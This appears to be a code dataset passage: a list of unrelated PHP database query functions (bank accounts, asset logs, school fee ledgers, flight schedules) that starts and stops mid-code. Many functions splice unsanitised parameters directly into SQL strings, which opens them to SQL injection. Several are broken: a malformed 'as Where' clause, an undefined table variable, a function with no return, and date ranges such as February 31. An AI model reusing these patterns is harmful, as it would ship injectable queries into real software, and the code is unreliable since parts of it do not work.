query\n\t\t$this->captura('id_cuenta_bancaria','int4');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('fecha_baja','date');\n\t\t$this->captura('nro_cuenta','varchar');\n\t\t$this->captura('fecha_alta','date');\n\t\t$this->captura('id_institucion','int4');\n\t\t$this->captura('nombre_institucion','varchar');\n\t\t$this->captura('doc_id','varchar');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t$this->captura('id_moneda','integer');\n\t\t$this->captura('codigo_moneda','varchar');\n\t\t$this->captura('denominacion','varchar');\n\t\t$this->captura('centro','varchar');\n\t\t\n\t\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function getdataRwyt($skpd_id, $AsetId, $tglakhirperolehan, $tglawalperolehan, $param, $tglpembukuan)\n{\n\n if($param == '01') {\n $tabel_log = 'log_tanah';\n\n $tabel = 'tanah';\n $tabel_view = 'view_mutasi_tanah';\n } elseif($param == '02') {\n $tabel_log = 'log_mesin';\n $tabel = 'mesin';\n $tabel_view = 'view_mutasi_mesin';\n } elseif($param == '03') {\n $tabel_log = 'log_bangunan';\n $tabel = 'bangunan';\n $tabel_view = 'view_mutasi_bangunan';\n } elseif($param == '04') {\n $tabel_log = 'log_jaringan';\n $tabel = 'jaringan';\n $tabel_view = 'view_mutasi_jaringan';\n } elseif($param == '05') {\n $tabel_log = 'log_asetlain';\n $tabel = 'asetlain';\n $tabel_view = 'view_mutasi_asetlain';\n } elseif($param == '06') {\n $tabel_log = 'log_kdp';\n $tabel = 'kdp';\n $tabel_view = 'view_mutasi_kdp';\n }\n\n /*Kode Riwayat\n 0 = Data baru\n 2 = Ubah Kapitalisasi\n 7 = Penghapusan Sebagian\n 21 = Koreksi Nilai\n 26 = Penghapusan Pemindahtanganan\n 27 = Penghapusan Pemusnahan\n */\n/* $paramLog = \"l.TglPerubahan >'$tglawalperolehan' and l.TglPerubahan <='$tglakhirperolehan' and l.TglPembukuan>='$tglpembukuan'\n AND l.Kd_Riwayat in (0,1,2,3,7,21,26,27,28,50,51,29) and l.Kd_Riwayat != 77 \n and l.Aset_ID = '{$AsetId}' \n order by l.Aset_ID ASC\";*/\n\n $paramLog = \"l.TglPerubahan >'$tglawalperolehan' and l.TglPerubahan <='$tglakhirperolehan' \n AND l.Kd_Riwayat in (0,1,2,3,7,21,26,27,28,50,51,29,30,281,291,36) and l.Kd_Riwayat != 77 \n and l.Aset_ID = '{$AsetId}' \n order by l.Aset_ID ASC\";\n\n\n $log_data = \"select l.* from {$tabel_log} as l \n inner join {$tabel} as t on l.Aset_ID = t.Aset_ID \n where $paramLog\";\n //pr($log_data);\n $splitKodeSatker = explode ('.', $skpd_id);\n if(count ($splitKodeSatker) == 4) {\n $paramSatker = \"kodeSatker = '$skpd_id'\";\n $paramSatker_mts_tr = \"SatkerAwal = '$skpd_id'\";\n $paramSatker_mts_rc = \"SatkerTujuan = '$skpd_id'\";\n\n } else {\n $paramSatker = \"kodeSatker like '$skpd_id%'\";\n $paramSatker_mts_tr = \"SatkerAwal like '$skpd_id%'\";\n $paramSatker_mts_rc = \"SatkerTujuan like '$skpd_id%'\";\n\n }\n $queryALL = array( $log_data );\n for ($i = 0; $i < count ($queryALL); $i++) {\n $result = mysql_query ($queryALL[ $i ]) or die ($param.\"---\".$queryALL[ $i ].\" \".mysql_error());\n if($result) {\n while ($dataAll = mysql_fetch_object ($result)) {\n if($dataAll->Kd_Riwayat == 3 && $dataAll->kodeSatker != $skpd_id) {\n\n } else {\n $getdata[] = $dataAll;\n }\n\n }\n }\n\n }\n if($getdata) {\n return $getdata;\n }\n}", "function BBdekat_tempatIbadah(){\n\t\t$this->db->select('batas_bawah');\n\t\t$this->db->where('nama_parameter', 'dekat');\n\t\t$q = $this->db->get('parameter');\n\t\t$data = $q->result_array();\n\n\t\treturn $hasil = $data[1]['batas_bawah'];\n\t}", "function get_m_jadwal_praktek_antrian($pk)\n {\n return $this->db->get_where('m_jadwal_praktek_antrian',array('pk'=>$pk))->row_array();\n }", "function listarCuentaBancaria(){\n\t\t$this->procedimiento='sigep.ft_cuenta_bancaria_sel';\n\t\t$this->transaccion='SIGEP_CUEN_BAN_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_cuenta_bancaria','int4');\n\t\t$this->captura('id_cuenta_bancaria_boa','int4');\n\t\t$this->captura('banco','int4');\n\t\t$this->captura('cuenta','varchar');\n\t\t$this->captura('desc_cuenta','varchar');\n\t\t$this->captura('moneda','int4');\n\t\t$this->captura('tipo_cuenta','bpchar');\n\t\t$this->captura('estado_cuenta','bpchar');\n\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t$this->captura('desc_cuenta_banco','varchar');\n\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function GetBedroomDetailsUnit($filter=false,$languageID=false)\n\t{\n\t\t$query=$this->db->query(\"select rp_property_attribute_values.*,rp_property_attribute_value_details.* from rp_property_attribute_values,rp_property_attribute_value_details where rp_property_attribute_values.propertyID='$filter' and rp_property_attribute_values.attributeID=1 and rp_property_attribute_values.attrValueID=rp_property_attribute_value_details.attrValueID and rp_property_attribute_value_details.languageID=$languageID\");\n\t}", "public function cabangRelokasi()\n { \n $query = $this->db->query(\"select No_Usulan, Cabang_Usulan from trs_relokasi_usulan_header where Cabang_Pengirim = '\".$this->cabang.\"' and Status_Usulan = 'Approv Pst' order by Cabang_Pengirim, No_Usulan asc\")->result();\n\n return $query;\n }", "function search_tor($sumber_dana='',$kata_kunci=''){\n $kata_kunci = form_prep($kata_kunci);\n $sumber_dana = form_prep($sumber_dana);\n if($sumber_dana == ''){\n if($kata_kunci!='')\n {\n $where = \"kode_usulan_belanja LIKE '%{$kata_kunci}%' OR deskripsi LIKE '%{$kata_kunci}%'\";\n $this->db2->where($where);\n }\n\n }else{\n $where = \"sumber_dana = '{$sumber_dana}'\";\n if($kata_kunci!='')\n {\n $where .= \" AND (kode_usulan_belanja LIKE '%{$kata_kunci}%' OR nama_akun LIKE '%{$kata_kunci}%')\";\n }\n $this->db2->where($where);\n }\n $this->db2->order_by(\"kode_usulan_belanja\", \"asc\");\n /* running query */\n $query = $this->db2->get('detail_belanja_');\n if ($query->num_rows()>0){\n return $query->result();\n }else{\n return array();\n }\n }", "function getTarifMasaKerjaAdm($conn, $r_periodetarif) {\n //mendapatkan acuan tunjangan masa kerja admin\n $sql = \"select cast(variabel1 as int) as masakerja,nominal from \" . static::table('ms_tariftunjangan') . \" \n\t\t\t\twhere periodetarif = '$r_periodetarif' and kodetunjangan = 'T00020'\";\n $rowa = $conn->GetRow($sql);\n\n $sql = \"select * from \" . static::table('ms_procmasakerjaadm') . \" where periodetarif = '$r_periodetarif' order by masakerja\";\n $rs = $conn->Execute($sql);\n\n $a_tarifproc = array();\n while ($row = $rs->FetchRow()) {\n\t\t\t$a_tarifproc[$row['masakerja']] = $rowa['nominal'] * ($row['prosentase'] / 100);\n }\n\n return $a_tarifproc;\n }", "public function getBarang_get(){\n $res = $this->api_model->getBarang();\n $this->response($res, 200);\n }", "public function getBarangByKode()\n\t{\n\n\t\tif($this->input->post('kodeBarang'))\n\t\t{\n\n\t\t\t$kode_barang = htmlspecialchars($_POST['kodeBarang']);\n\n\t\t\t$data = $this->db->get_where('inventaris', ['kode_inventaris' => (int) $kode_barang])->row_array();\n\n\t\t\tif($data)\n\t\t\t{\n\n\t\t\t\techo json_encode($data);\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\n\t\t\t\t$data['result'] = \"Null\";\n\n\t\t\t\techo json_encode($data);\n\n\t\t\t}\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\tredirect('pegawai/peminjaman');\n\n\t\t}\n\n\t}", "function getRelasi()\n {\n $query = $this->db->query('SELECT * FROM `tmp_hasil` as Where `kd_gejala` = `kd_gejala` ');\n return $query->result();\n }", "function get_anulacionmanual_unitario($data){\n\t\tinclude(\"application/config/conexdb_db2.php\");\n\t\t$codcia=$this->session->userdata('codcia');\n//se cambio estado\n\t\t$fecha=$data['fecha'];\n$query=\"a.YHFECDOC \".$fecha.\" and b.SCTEPDCA=\".$data['nropdc'].\" and b.SCTETDOC='\".$data['tipdoc'].\"' and b.SCTESERI='\".$data['serie'].\"' and b.SCTECORR='\".$data['correl'].\"' and b.SCTEALMA='\".$data['codalm'].\"' and b.SCTCSTST='\".$data['stsdoct'].\"'\";\n\t\t\n\t\t\t$sql =\"select b.SCTEFEC,b.SCTESUCA,b.SCTEPDCA,b.SCTETDOC,b.SCTESERI,b.SCTECORR,b.SCTEALMA,b.SCTCSTST,b.SCTTDREF,b.SCTECIAA FROM LIBPRDDAT.MMYHREL0 a inner join LIBPRDDAT.SNT_CTRAM b on CASE WHEN a.YHTIPDOC='07' THEN (select IANROPDC FROM LIBPRDDAT.MMIAREP WHERE IACODCIA='10' AND IACODSUC=a.YHSUCDOC AND IANROREF=a.YHNROPDC) ELSE a.YHNROPDC END=b.SCTEPDCA and CASE WHEN a.YHTIPDOC='07' THEN 'F'||SUBSTRING(a.YHNUMSER,2) WHEN a.YHTIPDOC='08' THEN 'F'||SUBSTRING(a.YHNUMSER,2) ELSE a.YHNUMSER END=b.SCTESERI and a.YHNUMCOR=b.SCTECORR and a.YHTIPDOC=b.SCTETDOC WHERE a.YHSTS='I' AND a.YHCODCIA='\".$codcia.\"' and b.SCTCSTS='A' AND \".$query;\n\t\t\t$datos = odbc_exec($dbconect, $sql)or die(\"<p>\" . odbc_errormsg());\n\t\t\tif (!$datos) {\n\t\t\t\t$dato = false;\n\t\t\t} else { \n\t\t\t\t$nr = odbc_num_rows($datos);\n\t\t\t\t$dato = ($nr>0)?$datos:false;\n\t\t\t}\n\t\t \n\t\treturn $dato;\n\n\t}", "function getKriteriaByPakar($id_pakar){\n $this->db->select(\"eigen_kriteria.id_kriteria, kriteria.nama_kriteria,eigen.kriteria.value_eigen\");\n $this->db->where(\"eigen_kriteria.id_kriteria=kriteria.id_kriteria\");\n $this->db->where(\"eigen_kriteria.id_user=\".$id_pakar);\n \n return $this->db->get($table)->row();\n }", "public function belum_ada_desa()\n {\n $this->db->query(\"SET GLOBAL sql_mode=(SELECT REPLACE(@@sql_mode,'ONLY_FULL_GROUP_BY',''))\");\n $sql = \"\n SELECT a.region_code, a.region_name as nama_kabupaten, c.region_name as nama_provinsi, b.jml_desa\n from\n\n (SELECT region_code, region_name\n FROM `tbl_regions` t\n left join desa d on t.region_name = d.nama_kabupaten\n where length(region_code) = 5 and region_name not like 'kota %'\n and d.id is null) a\n\n left join\n\n (SELECT left(region_code, 5) as kabupaten_code, left(region_code, 2) as provinsi_code, count(*) as jml_desa\n from tbl_regions\n where char_length(region_code) = 13\n group by kabupaten_code) b\n\n on a.region_code = b.kabupaten_code\n\n left join\n\n tbl_regions c on c.region_code = b.provinsi_code\n\n order by a.region_code\n \";\n $data = $this->db->query($sql)->result();\n $this->db->query(\"SET sql_mode = 'ONLY_FULL_GROUP_BY'\");\n return $data;\n }", "function get_list_tidak_berjadwal($params, $airport) {\n $function = \"WHERE\";\n $sql = \"SELECT * \n FROM (\n SELECT a.*, airlines_nm, e.services_nm \n FROM fa_data a \n LEFT JOIN airlines b ON a.airlines_id = b.airlines_id\n LEFT JOIN fa_process c ON c.data_id = a.data_id \n LEFT JOIN fa_flow d ON d.flow_id = c.flow_id \n LEFT JOIN services_code e ON e.services_cd = a.services_cd \";\n foreach ($airport as $value) {\n $sql .= $function . \" rute_all LIKE '%\" . $value . \"%' \";\n $function = \"OR\";\n }\n $sql .= \" GROUP BY a.data_id)result \n WHERE ((DATE(NOW()) BETWEEN DATE(result.date_start) AND DATE(result.date_end)) OR (DATE(NOW()) BETWEEN DATE(result.date_end) AND DATE(result.date_start)))\n AND published_no LIKE ? \n AND airlines_nm LIKE ?\n AND (data_type = 'tidak berjadwal' OR data_type = 'bukan niaga') \n AND result.data_st = 'approved' \n AND result.rute_all LIKE ?\";\n $query = $this->db->query($sql, $params);\n if ($query->num_rows() > 0) {\n $result = $query->result_array();\n $query->free_result();\n return $result;\n } else {\n return array();\n }\n }", "public function getAllBerita($kategori = null)\n {\n if ( $kategori === null) {\n $this->db->order_by('ID_BRT', 'DESC');\n return $this->db->from('tb_berita')\n ->join('tb_kategori', 'tb_kategori.ID_KTR=tb_berita.ID_KTR') // <- join tb_kategori agar dapat menampilkan nama\n ->join('tb_user', 'tb_user.ID_USR=tb_berita.ID_USR') // <- join tb_berita agar dapat menampilkan nama\n ->where('tb_berita.STATUS_BRT = 1')\n ->get()\n ->result_array();\n }\n $this->db->order_by('ID_BRT', 'DESC');\n return $this->db->from('tb_berita')\n ->join('tb_kategori', 'tb_kategori.ID_KTR=tb_berita.ID_KTR') // <- join tb_kategori agar dapat menampilkan nama\n ->join('tb_user', 'tb_user.ID_USR=tb_berita.ID_USR') // <- join tb_berita agar dapat menampilkan nama\n ->where('tb_berita.STATUS_BRT = 1')\n ->get_where('', ['tb_kategori.KATEGORI' => $kategori])\n ->result_array();\n }", "function get_konsistensi($thang=\"2011\",$kddept=null,$kdunit=null,$kdprogram=null,$kdsatker=null)\r\n{\r\n\t$ci = & get_instance();\r\n\t$ci->load->database();\r\n\t\r\n\t$sql = 'select round(( sum( jmlrealisasi ) / sum( jmlrpd ) ) *100, 2) AS k\r\n\tfrom tb_konsistensi\r\n\twhere thang='.$thang.' ';\r\n\tif(isset($kddept)):\r\n\t\t$sql .= 'and kddept='.$kddept.' ';\r\n\tendif;\r\n\tif(isset($kdunit)):\r\n\t\t$sql .= 'and kdunit='.$kdunit.' ';\r\n\tendif;\r\n\tif(isset($kdprogram)):\r\n\t\t$sql .= 'and kdprogram='.$kdprogram.' ';\r\n\tendif;\r\n\tif(isset($kdsatker)):\r\n\t\t$sql .= 'and kdsatker='.$kdsatker.' ';\r\n\tendif;\r\n\t\r\n\treturn $ci->db->query($sql)->row();\r\n}", "function aKodeabsensiPot($conn) {\n $sql = \"select kodeabsensi,absensi from \" . static::table('ms_absensi') . \" where kodeabsensi in ('T','PD')\";\n $a_kode = Query::arrQuery($conn, $sql);\n\n return $a_kode;\n }", "function getUnikKode($table) {\n $this->setConnection('dbsystem');\n $db = $this->getConnection(); \n $q = $db->query(\"SELECT MAX(RIGHT(kode_musrenbang,4)) AS kode FROM \".$table); $kd = \"\"; \n \n //kode awal \n if($q->num_rows()>0){ //jika data ada \n\n foreach($q->result() as $k){ \n //string kode diset ke integer dan ditambahkan 1 dari kode terakhir\n $tmp = ((int)$k->kode)+1;\n \n //kode ambil 4 karakter terakhir \n $kd = sprintf(\"%04s\", $tmp); \n } \n }else{ \n //jika data kosong diset ke kode awal \n $kd = \"0001\"; \n } \n\n //karakter depan kodenya\n $kar = \"MR\"; \n \n //gabungkan string dengan kode yang telah dibuat tadi \n return $kar.$kd; \n }", "function obtiene_bebidas_menu($valor=1){\n /**\n * guardamos la consulta en $sql obtiene todos las tuplas de la tabla\n * ejecutamos la consulta en php obtenemos una tabla con los resultados\n * en el for convertimos a cada tupla en un objeto y añadimos al array $objetos uno a uno\n * retornamos un array con todas las tuplas como objetos\n */\n try {\n $sql=\"SELECT * FROM \".Bebidas::TABLA[0].\" WHERE tipo = 'zumo' and estado = $valor or tipo = 'refresco_con_gas' and estado = $valor or tipo = 'refresco_sin_gas' and estado = $valor\";\n $resultado=$this->conexion->query($sql);\n $objetos=array();\n\n while ($fila=$resultado->fetch_object()){\n $objetos[]=$fila;\n //echo 'fila = '. var_dump($fila);\n }\n\n /*\n for($x=0;$x<$resultado->field_count;$x++){\n $objetos[$x]=$resultado[$x]->fetch_object();\n }*/\n return $objetos;\n } catch (Exception $ex) {\n echo 'error '.$ex;\n }\n \n \n }", "public function get_cartera($division, $grupo, $tipo, $anio, $periodo, $mes, $pensum, $nivel = '', $grado = '', $seccion = ''){\n $sql= \"SELECT *,\";\n ///---cargos----//\n if($mes == 1 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-01-01' AND '$anio-01-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 1\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_enero,\";\n }\n if($mes == 2 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-02-01' AND '$anio-02-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 2\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_febrero,\";\n }\n if($mes == 3 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-03-01' AND '$anio-03-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 3\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_marzo,\";\n }\n if($mes == 4 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-04-01' AND '$anio-04-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 4\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_abril,\";\n }\n if($mes == 5 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-05-01' AND '$anio-05-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 5\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_mayo,\";\n }\n if($mes == 6 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-06-01' AND '$anio-06-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 6\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_junio,\";\n }\n if($mes == 7 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-07-01' AND '$anio-07-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 7\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_julio,\";\n }\n if($mes == 8 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-08-01' AND '$anio-08-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 8\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_agosto,\";\n }\n if($mes == 9 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-09-01' AND '$anio-09-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 9\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_septiembre,\";\n }\n if($mes == 10 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-10-01' AND '$anio-10-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 10\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_octubre,\";\n }\n if($mes == 11 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-11-01' AND '$anio-11-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 11\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_noviembre,\";\n }\n if($mes == 12 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-12-01' AND '$anio-12-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 12\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_diciembre,\";\n }\n ///---descuentos---///\n if($mes == 1 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-01-01' AND '$anio-01-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 1\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_enero,\";\n }\n if($mes == 2 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-02-01' AND '$anio-02-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 2\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_febrero,\";\n }\n if($mes == 3 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-03-01' AND '$anio-03-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 3\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_marzo,\";\n }\n if($mes == 4 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-04-01' AND '$anio-04-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 4\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_abril,\";\n }\n if($mes == 5 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-05-01' AND '$anio-05-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 5\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_mayo,\";\n }\n if($mes == 6 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-06-01' AND '$anio-06-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 6\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_junio,\";\n }\n if($mes == 7 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-07-01' AND '$anio-07-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 7\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_julio,\";\n }\n if($mes == 8 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-08-01' AND '$anio-08-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 8\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_agosto,\";\n }\n if($mes == 9 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-09-01' AND '$anio-09-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 9\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND 